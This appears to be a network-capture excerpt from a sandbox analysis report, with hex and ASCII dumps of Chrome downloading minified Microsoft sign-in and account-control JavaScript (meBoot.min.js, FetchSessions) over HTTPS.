2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 20 74 7d 28 6f 2c 65 29 29 5b 6f 74 28 6e 29 5d 3d 74 29 2c 74 29 7d 2c 6b 69 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 65 26 26 65 5b 6e 5d 29 74 72 79 7b 64 65 6c 65 74 65 20 65 5b 6e 5d 7d 63 61 74 63 68 28 74 29 7b 7d 7d 7d 3b 72 65 74 75 72 6e 20 6f 7d 76 61 72 20 48 72 3d 22 74 6f 47 4d 54 53 74 72 69 6e 67 22 2c 6a 72 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 57 72 3d 22 63 6f 6f 6b 69 65 22 2c 58 72 3d 22 65 78 70 69 72 65 73 22 2c 47 72 3d 22 65 6e 61 62 6c 65 64 22 2c 51 72 3d 22 69 73 43 6f 6f 6b 69 65 55 73 65 44 69 73 61 62 6c 65 64 22 2c 4a 72 3d 22 64 69 73 61 62 6c 65 43 6f 6f 6b 69 65 73 55 73 61 67 65 22 2c 24 72 3d 22 5f 63 6b 4d 67 72 22 2c 5a 72 3d 6e 75 6c 6c 2c 59 72 3d 6e 75 6c 6c 2c 65 69 3d 6e 75 6c 6c 2c 6e Data Ascii: t}(o,e))[ot(n)]=t),t)},kill:function(e,n){if(e&&e[n])try{delete e[n]}catch(t){}}};return o}var Hr="toGMTString",jr="toUTCString",Wr="cookie",Xr="expires",Gr="enabled",Qr="isCookieUseDisabled",Jr="disableCookiesUsage",$r="_ckMgr",Zr=null,Yr=null,ei=null,n
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 29 26 26 28 61 3d 65 28 70 2c 70 5b 44 65 5d 28 29 29 29 2c 6f 7c 7c 61 7c 7c 6e 75 6c 6c 7d 2c 70 2e 73 65 74 50 65 72 66 4d 67 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 3d 65 7d 2c 70 2e 65 76 65 6e 74 43 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 5b 6e 65 5d 7d 2c 70 2e 72 65 6c 65 61 73 65 51 75 65 75 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 67 26 26 30 3c 72 5b 6e 65 5d 26 26 28 65 3d 72 2c 72 3d 5b 5d 2c 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 29 5b 46 5d 28 65 29 7d 29 29 7d 2c 70 2e 70 6f 6c 6c 49 6e 74 65 72 6e 61 6c 4c 6f 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 50 3d 65 7c 7c 6e 75 6c 6c 2c 4e 3d 21 31 2c 41 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 41 Data Ascii: )&&(a=e(p,p[De]())),o\|\|a\|\|null},p.setPerfMgr=function(e){o=e},p.eventCnt=function(){return r[ne]},p.releaseQueue=function(){var e;g&&0<r[ne]&&(e=r,r=[],ie(e,function(e){y()[F](e)}))},p.pollInternalLogs=function(e){return P=e\|\|null,N=!1,A&&(clearInterval(A
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 73 3a 22 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 22 7d 2c 7b 72 3a 63 2e 57 49 4e 52 54 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 20 52 54 22 7d 2c 7b 72 3a 63 2e 57 49 4e 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 22 7d 2c 7b 72 3a 63 2e 49 4f 53 2c 6f 73 3a 22 69 4f 53 22 7d 2c 7b 72 3a 63 2e 41 4e 44 52 4f 49 44 2c 6f 73 3a 22 41 6e 64 72 6f 69 64 22 7d 2c 7b 72 3a 63 2e 4c 49 4e 55 58 2c 6f 73 3a 22 4c 69 6e 75 78 22 7d 2c 7b 72 3a 63 2e 43 52 4f 53 2c 6f 73 3a 22 43 68 72 6f 6d 65 20 4f 53 22 7d 2c 7b 73 3a 22 78 31 31 22 2c 6f 73 3a 22 55 6e 69 78 22 7d 2c 7b 73 3a 22 62 6c 61 63 6b 62 65 72 72 79 22 2c 6f 73 3a 22 42 6c 61 63 6b 42 65 72 72 79 22 7d 2c 7b 73 3a 22 73 79 6d 62 69 61 6e 22 2c 6f 73 3a 22 53 79 6d 62 69 61 6e 22 7d 2c 7b 73 3a 22 6e 6f 6b 69 61 22 Data Ascii: s:"Windows Phone"},{r:c.WINRT,os:"Windows RT"},{r:c.WIN,os:"Windows"},{r:c.IOS,os:"iOS"},{r:c.ANDROID,os:"Android"},{r:c.LINUX,os:"Linux"},{r:c.CROS,os:"Chrome OS"},{s:"x11",os:"Unix"},{s:"blackberry",os:"BlackBerry"},{s:"symbian",os:"Symbian"},{s:"nokia"
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 29 29 7b 76 61 72 20 74 2c 72 3d 64 2c 69 3d 65 2c 6f 3d 67 2c 61 3d 66 3b 69 66 28 49 26 26 21 76 26 26 43 63 2e 74 65 73 74 28 65 29 29 7b 76 61 72 20 75 3d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 63 3d 75 2e 6c 65 6e 67 74 68 3b 69 66 28 31 3c 63 29 7b 66 6f 72 28 76 61 72 20 6f 3d 6f 26 26 6f 2e 73 6c 69 63 65 28 29 2c 73 3d 30 3b 73 3c 63 2d 31 3b 73 2b 2b 29 7b 76 61 72 20 6c 3d 75 5b 73 5d 2c 61 3d 61 5b 6c 5d 3d 61 5b 6c 5d 7c 7c 7b 7d 3b 72 2b 3d 22 2e 22 2b 6c 2c 6f 26 26 6f 2e 70 75 73 68 28 6c 29 7d 69 3d 75 5b 63 2d 31 5d 7d 7d 28 65 3d 76 26 26 28 28 74 3d 53 5b 65 3d 72 5d 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 37 3c 3d 65 2e 6c 65 6e 67 74 68 26 26 28 74 3d 61 74 28 65 2c 22 65 78 74 2e 6d 65 74 61 64 61 74 61 22 29 7c 7c 61 74 28 Data Ascii: )){var t,r=d,i=e,o=g,a=f;if(I&&!v&&Cc.test(e)){var u=e.split("."),c=u.length;if(1<c){for(var o=o&&o.slice(),s=0;s<c-1;s++){var l=u[s],a=a[l]=a[l]\|\|{};r+="."+l,o&&o.push(l)}i=u[c-1]}}(e=v&&((t=S[e=r])===undefined&&(7<=e.length&&(t=at(e,"ext.metadata")\|\|at(
2024-08-29 22:19:48 UTC	10864	IN	Data Raw: 74 63 68 29 2c 69 26 26 72 3c 3d 51 26 26 28 51 3d 2d 31 2c 6b 3d 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 6c 61 74 65 6e 63 79 3a 72 2c 73 65 6e 64 54 79 70 65 3a 65 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 6e 7d 7d 2c 21 74 29 3a 28 51 3d 30 3c 3d 51 3f 4d 61 74 68 2e 6d 69 6e 28 51 2c 72 29 3a 72 2c 6b 3d 4d 61 74 68 2e 6d 61 78 28 6b 2c 6e 29 29 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 71 3d 7b 52 45 41 4c 5f 54 49 4d 45 3a 5b 32 2c 31 2c 30 5d 2c 4e 45 41 52 5f 52 45 41 4c 5f 54 49 4d 45 3a 5b 36 2c 33 2c 30 5d 2c 42 45 53 54 5f 45 46 46 4f 52 54 3a 5b 31 38 2c 39 2c 30 5d 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 2c 72 3d 24 3f 59 3a 5a 3b 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: tch),i&&r<=Q&&(Q=-1,k=0)},function(){return{latency:r,sendType:e,sendReason:n}},!t):(Q=0<=Q?Math.min(Q,r):r,k=Math.max(k,n)),i}function n(){q={REAL_TIME:[2,1,0],NEAR_REAL_TIME:[6,3,0],BEST_EFFORT:[18,9,0]}}function e(e,n){var t=[],r=$?Y:Z;ie(e,function(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49889	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:48 UTC	385	OUT	GET /scripts/me/MeControl/10.24086.4/en-US/meBoot.min.js HTTP/1.1 Host: mem.gfx.ms Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:48 UTC	629	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:48 GMT Content-Type: application/javascript Content-Length: 204055 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Thu, 22 Aug 2024 23:12:06 GMT ETag: "1daf52360f12217" X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240829T221948Z-16579567576pg4fvvmc18u0v4g00000002fg00000000s6ak x-fd-int-roxy-purgeid: 38334287 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-29 22:19:48 UTC	15755	IN	Data Raw: 4d 65 43 6f 6e 74 72 6f 6c 44 65 66 69 6e 65 28 22 6d 65 42 6f 6f 74 22 2c 5b 22 65 78 70 6f 72 74 73 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 69 6e 6c 69 6e 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 53 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 69 3d 7b 7d 2c 75 3d 5b 5d 2c 70 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 74 2c 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 2c 69 2c 61 3d 70 3b 66 6f 72 28 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 32 3c 69 2d 2d 3b 29 75 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 5b 69 5d 29 3b 66 6f 72 28 65 26 26 6e 75 6c 6c 21 3d 65 2e 63 68 69 6c 64 72 65 6e 26 26 28 75 2e 6c 65 6e 67 74 68 7c 7c 75 2e 70 75 73 68 28 65 2e 63 68 69 6c 64 Data Ascii: MeControlDefine("meBoot",["exports","@mecontrol/web-inline"],function(t,S){"use strict";var c=function(){},i={},u=[],p=[];function O(t,e){var r,n,o,i,a=p;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(e&&null!=e.children&&(u.length\|\|u.push(e.child
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 79 28 74 29 2c 72 3d 30 3b 72 3c 74 3b 72 2b 2b 29 65 5b 72 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 7d 3a 31 3d 3d 3d 65 2e 6c 65 6e 67 74 68 3f 65 5b 30 5d 3a 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 28 65 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 61 72 67 75 6d 65 6e 74 73 29 29 7d 7d 29 7d 76 61 72 20 74 74 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 3b 66 75 6e 63 74 69 6f 6e 20 65 74 28 74 29 7b 76 61 72 20 65 2c 72 2c 6e 2c 6f 3d 22 22 2c 69 3d 74 79 70 65 6f 66 20 74 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 69 7c 7c 22 6e Data Ascii: y(t),r=0;r<t;r++)e[r]=arguments[r];return 0===e.length?function(t){return t}:1===e.length?e[0]:e.reduce(function(t,e){return function(){return t(e.apply(void 0,arguments))}})}var tt=Array.isArray;function et(t){var e,r,n,o="",i=typeof t;if("string"==i\|\|"n
2024-08-29 22:19:48 UTC	16384	IN	Data Raw: 22 73 74 72 69 6e 67 22 3a 72 65 74 75 72 6e 22 22 3d 3d 3d 74 7c 7c 21 77 65 2e 74 65 73 74 28 74 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 65 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 31 3b 72 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 5b 72 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 6f 3d 65 3b 6e 3c 6f 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 6f 5b 6e 5d 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 69 29 69 66 28 53 2e 68 61 73 4f 77 6e 28 69 2c 61 29 29 7b 76 61 72 20 73 3d 69 5b 61 5d 3b 6e 75 6c 6c 3d 3d 73 7c 7c 53 65 28 73 29 7c 7c 28 74 5b 61 5d 3d 73 29 7d 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 Data Ascii: "string":return""===t\|\|!we.test(t);default:return!1}}function Oe(t){for(var e=[],r=1;r<arguments.length;r++)e[r-1]=arguments[r];for(var n=0,o=e;n<o.length;n++){var i=o[n];for(var a in i)if(S.hasOwn(i,a)){var s=i[a];null==s\|\|Se(s)\|\|(t[a]=s)}}return t}funct
2024-08-29 22:19:49 UTC	16384	IN	Data Raw: 68 69 73 2e 70 72 6f 70 73 2c 72 3d 65 2e 63 73 73 43 6c 61 73 73 2c 6e 3d 65 2e 63 68 69 6c 64 72 65 6e 2c 6f 3d 74 68 69 73 2e 73 74 61 74 65 2e 61 63 74 69 76 61 74 65 64 3b 72 65 74 75 72 6e 20 4f 28 22 64 69 76 22 2c 7b 63 6c 61 73 73 3a 65 74 28 5b 72 2c 28 74 3d 7b 7d 2c 74 2e 6d 65 63 74 72 6c 5f 66 6f 63 75 73 5f 76 69 73 69 62 6c 65 3d 6f 2c 74 29 5d 29 7d 2c 6e 29 7d 2c 66 72 29 3b 66 75 6e 63 74 69 6f 6e 20 66 72 28 74 29 7b 76 61 72 20 65 3d 75 72 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 65 2e 73 74 61 74 65 3d 7b 61 63 74 69 76 61 74 65 64 3a 21 21 74 2e 76 69 73 69 62 6c 65 4f 6e 53 74 61 72 74 7d 2c 65 2e 68 61 73 52 65 63 65 6e 74 4b 65 79 62 6f 61 72 64 41 63 74 69 6f 6e 3d 21 31 2c 65 2e 6b 65 79 Data Ascii: his.props,r=e.cssClass,n=e.children,o=this.state.activated;return O("div",{class:et([r,(t={},t.mectrl_focus_visible=o,t)])},n)},fr);function fr(t){var e=ur.call(this,t)\|\|this;return e.state={activated:!!t.visibleOnStart},e.hasRecentKeyboardAction=!1,e.key
2024-08-29 22:19:49 UTC	16384	IN	Data Raw: 55 72 6c 29 3b 63 61 73 65 22 73 69 67 6e 4f 75 74 46 72 6f 6d 49 64 70 22 3a 72 65 74 75 72 6e 21 31 3b 63 61 73 65 22 73 69 67 6e 4f 75 74 41 6e 64 46 6f 72 67 65 74 46 72 6f 6d 49 64 70 22 3a 72 65 74 75 72 6e 20 78 74 28 6e 75 6c 6c 3d 3d 3d 28 72 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 6d 73 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 73 69 67 6e 4f 75 74 41 6e 64 46 6f 72 67 65 74 55 72 6c 29 3b 63 61 73 65 22 73 77 69 74 63 68 22 3a 72 65 74 75 72 6e 20 78 74 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 70 70 53 77 69 74 63 68 55 72 6c 29 3b 63 61 73 65 22 73 77 69 74 63 68 54 6f 22 3a 72 65 74 75 72 6e 20 78 74 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 70 70 53 77 69 74 63 68 54 6f 55 72 6c 29 3b 63 61 73 65 22 67 65 74 52 Data Ascii: Url);case"signOutFromIdp":return!1;case"signOutAndForgetFromIdp":return xt(null===(r=this.config.msa)\|\|void 0===r?void 0:r.signOutAndForgetUrl);case"switch":return xt(this.config.appSwitchUrl);case"switchTo":return xt(this.config.appSwitchToUrl);case"getR
2024-08-29 22:19:49 UTC	16384	IN	Data Raw: 6e 20 67 6e 28 74 29 7b 72 65 74 75 72 6e 21 21 74 26 26 2d 31 3c 6d 74 28 74 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 6c 6f 67 69 6e 2e 6c 69 76 65 2e 63 6f 6d 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 79 6e 28 74 29 7d 76 61 72 20 79 6e 3d 28 76 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 70 70 6f 72 74 73 4d 73 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 6d 73 61 6c 4a 73 57 69 74 68 4d 73 61 22 3d 3d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 79 70 65 7d 2c 76 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 4f 70 65 72 61 74 69 6f 6e 53 75 70 70 6f 72 74 65 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3b 73 77 69 74 63 68 28 74 29 7b 63 Data Ascii: n gn(t){return!!t&&-1<mt(t).toLowerCase().indexOf("login.live.com")}function mn(t){return new yn(t)}var yn=(vn.prototype.supportsMsa=function(){return"msalJsWithMsa"===this.config.type},vn.prototype.isOperationSupported=function(t,e){var r,n,o;switch(t){c
2024-08-29 22:19:49 UTC	16384	IN	Data Raw: 61 64 2e 63 61 63 68 65 64 44 61 74 61 2c 6c 3d 74 2c 66 3d 30 3b 66 3c 64 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 7b 69 66 28 79 3d 6c 5b 6e 75 6c 6c 21 3d 28 6f 3d 64 5b 66 5d 2e 61 63 63 6f 75 6e 74 49 64 29 3f 6f 3a 64 5b 66 5d 2e 70 61 79 6c 6f 61 64 2e 6b 65 79 5d 29 7b 76 61 72 20 68 3d 64 5b 66 5d 2e 70 61 79 6c 6f 61 64 3b 79 2e 70 69 63 74 75 72 65 55 72 6c 3d 6e 75 6c 6c 21 3d 28 69 3d 79 2e 70 69 63 74 75 72 65 55 72 6c 29 3f 69 3a 68 2e 72 65 73 6f 75 72 63 65 2c 79 2e 63 61 63 68 65 4d 65 74 61 3f 79 2e 63 61 63 68 65 4d 65 74 61 2e 70 69 63 74 75 72 65 55 72 6c 3d 68 2e 72 65 73 6f 75 72 63 65 45 54 61 67 3a 79 2e 63 61 63 68 65 4d 65 74 61 3d 28 28 72 3d 7b 7d 29 2e 70 69 63 74 75 72 65 55 72 6c 3d 68 2e 72 65 73 6f 75 72 63 65 45 54 61 67 2c Data Ascii: ad.cachedData,l=t,f=0;f<d.length;f++){if(y=l[null!=(o=d[f].accountId)?o:d[f].payload.key]){var h=d[f].payload;y.pictureUrl=null!=(i=y.pictureUrl)?i:h.resource,y.cacheMeta?y.cacheMeta.pictureUrl=h.resourceETag:y.cacheMeta=((r={}).pictureUrl=h.resourceETag,
2024-08-29 22:19:49 UTC	16384	IN	Data Raw: 6c 69 6e 65 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 36 36 36 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 5c 78 33 61 32 70 78 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 5c 78 33 61 2d 32 70 78 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 67 6c 79 70 68 5c 78 37 62 6f 76 65 72 66 6c 6f 77 5c 78 33 61 68 69 64 64 65 6e 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 5c 78 33 61 63 6f 76 65 72 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 5c 78 33 61 63 65 6e 74 65 72 20 63 65 6e 74 65 72 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 5c 78 33 61 6e 6f 2d 72 65 70 65 61 74 5c 78 37 64 Data Ascii: line-color\x3a\x23666\x21important\x3boutline-width\x3a2px\x21important\x3boutline-offset\x3a-2px\x21important\x7d.mectrl_glyph\x7boverflow\x3ahidden\x3bbackground-size\x3acover\x3bbackground-position\x3acenter center\x3bbackground-repeat\x3ano-repeat\x7d
2024-08-29 22:19:49 UTC	16384	IN	Data Raw: 72 6c 5f 74 68 65 6d 65 5f 67 72 61 79 20 2e 67 6c 79 70 68 5f 61 63 63 6f 75 6e 74 5f 63 69 72 63 6c 65 2c 2e 6d 65 63 74 72 6c 5f 74 68 65 6d 65 5f 6f 66 66 5f 62 6c 61 63 6b 20 2e 67 6c 79 70 68 5f 61 63 63 6f 75 6e 74 5f 63 69 72 63 6c 65 5c 78 37 62 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 5c 78 33 61 75 72 6c 5c 78 32 38 5c 78 32 32 64 61 74 61 5c 78 33 61 69 6d 61 67 65 5c 78 32 66 73 76 67 5c 78 32 62 78 6d 6c 5c 78 33 62 63 68 61 72 73 65 74 5c 78 33 64 75 74 66 2d 38 2c 5c 78 32 35 33 43 73 76 67 20 78 6d 6c 6e 73 5c 78 33 64 5c 78 32 37 68 74 74 70 5c 78 33 61 5c 78 32 66 5c 78 32 66 77 77 77 2e 77 33 2e 6f 72 67 5c 78 32 66 32 30 30 30 5c 78 32 66 73 76 67 5c 78 32 37 20 76 69 65 77 42 6f 78 5c 78 33 64 5c 78 32 37 30 20 30 20 36 34 20 Data Ascii: rl_theme_gray .glyph_account_circle,.mectrl_theme_off_black .glyph_account_circle\x7bbackground-image\x3aurl\x28\x22data\x3aimage\x2fsvg\x2bxml\x3bcharset\x3dutf-8,\x253Csvg xmlns\x3d\x27http\x3a\x2f\x2fwww.w3.org\x2f2000\x2fsvg\x27 viewBox\x3d\x270 0 64
2024-08-29 22:19:49 UTC	16384	IN	Data Raw: 33 64 5c 78 32 37 68 74 74 70 5c 78 33 61 5c 78 32 66 5c 78 32 66 77 77 77 2e 77 33 2e 6f 72 67 5c 78 32 66 32 30 30 30 5c 78 32 66 73 76 67 5c 78 32 37 5c 78 32 35 33 45 5c 78 32 35 33 43 70 61 74 68 20 64 5c 78 33 64 5c 78 32 37 4d 35 2e 34 35 33 20 35 4c 31 30 20 39 2e 35 35 32 20 39 2e 35 35 32 20 31 30 20 35 20 35 2e 34 35 33 2e 34 34 38 20 31 30 20 30 20 39 2e 35 35 32 20 34 2e 35 34 37 20 35 20 30 20 2e 34 34 38 2e 34 34 38 20 30 20 35 20 34 2e 35 34 37 20 39 2e 35 35 32 20 30 20 31 30 20 2e 34 34 38 20 35 2e 34 35 33 20 35 7a 5c 78 32 37 20 66 69 6c 6c 5c 78 33 64 5c 78 32 37 5c 78 32 35 32 33 33 32 33 31 33 30 5c 78 32 37 5c 78 32 66 5c 78 32 35 33 45 5c 78 32 35 33 43 5c 78 32 66 73 76 67 5c 78 32 35 33 45 5c 78 32 32 5c 78 32 39 5c 78 37 64 5c Data Ascii: 3d\x27http\x3a\x2f\x2fwww.w3.org\x2f2000\x2fsvg\x27\x253E\x253Cpath d\x3d\x27M5.453 5L10 9.552 9.552 10 5 5.453.448 10 0 9.552 4.547 5 0 .448.448 0 5 4.547 9.552 0 10 .448 5.453 5z\x27 fill\x3d\x27\x2523323130\x27\x2f\x253E\x253C\x2fsvg\x253E\x22\x29\x7d\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49890	152.199.21.175	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:49 UTC	635	OUT	GET /shared/1.0/content/js/FetchSessions_Core_VRFGv7Cn5qZDpUQIsx-pnA2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:50 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 1834687 Cache-Control: public, max-age=31536000 Content-MD5: zZru9l+ZiZjCpirRGrH+Ug== Content-Type: application/x-javascript Date: Thu, 29 Aug 2024 22:19:50 GMT Etag: 0x8DCB563CDC60F56 Last-Modified: Mon, 05 Aug 2024 15:32:23 GMT Server: ECAcc (lhc/7889) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 082e3e46-701e-007d-25b1-e9bb0f000000 x-ms-version: 2009-09-19 Content-Length: 149676 Connection: close
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-08-29 22:19:50 UTC	16383	IN	Data Raw: 64 3a 31 30 32 37 2c 50 68 6f 6e 65 46 6f 72 6d 61 74 74 69 6e 67 49 6e 76 61 6c 69 64 3a 31 30 32 38 2c 50 6f 6c 6c 69 6e 67 54 69 6d 65 64 4f 75 74 3a 31 30 32 39 2c 53 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 3a 31 30 33 30 2c 53 65 72 76 65 72 5f 4d 65 73 73 61 67 65 4f 6e 6c 79 3a 39 39 39 39 2c 50 50 5f 45 5f 44 42 5f 4d 45 4d 42 45 52 44 4f 45 53 4e 4f 54 45 58 49 53 54 3a 22 43 46 46 46 46 43 31 35 22 2c 50 50 5f 45 5f 45 58 43 4c 55 44 45 44 3a 22 38 30 30 34 31 30 31 30 22 2c 50 50 5f 45 5f 4d 45 4d 42 45 52 5f 4c 4f 43 4b 45 44 3a 22 38 30 30 34 31 30 31 31 22 2c 50 50 5f 45 5f 42 41 44 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 31 32 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 4d 45 4d 42 45 52 4e 41 4d 45 3a 22 Data Ascii: 